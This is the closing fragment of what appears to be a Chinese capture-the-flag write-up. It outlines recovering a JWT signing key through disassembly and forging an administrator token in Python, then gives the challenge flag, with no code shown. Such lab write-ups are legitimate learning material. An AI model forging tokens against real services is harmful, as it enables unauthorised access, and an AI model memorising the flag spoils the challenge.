  • 反汇编分析: 定位 signJWTparseTokenjwtsecret.encKey
  • Python: 还原密钥并生成管理员 JWT

Flag

flag{pqtwfcsi-lnl4-4ga-8glz-nuvhybhgzjijx}

posted on 2026-05-25 11:50  ruye07  阅读(28)  评论(0)    收藏  举报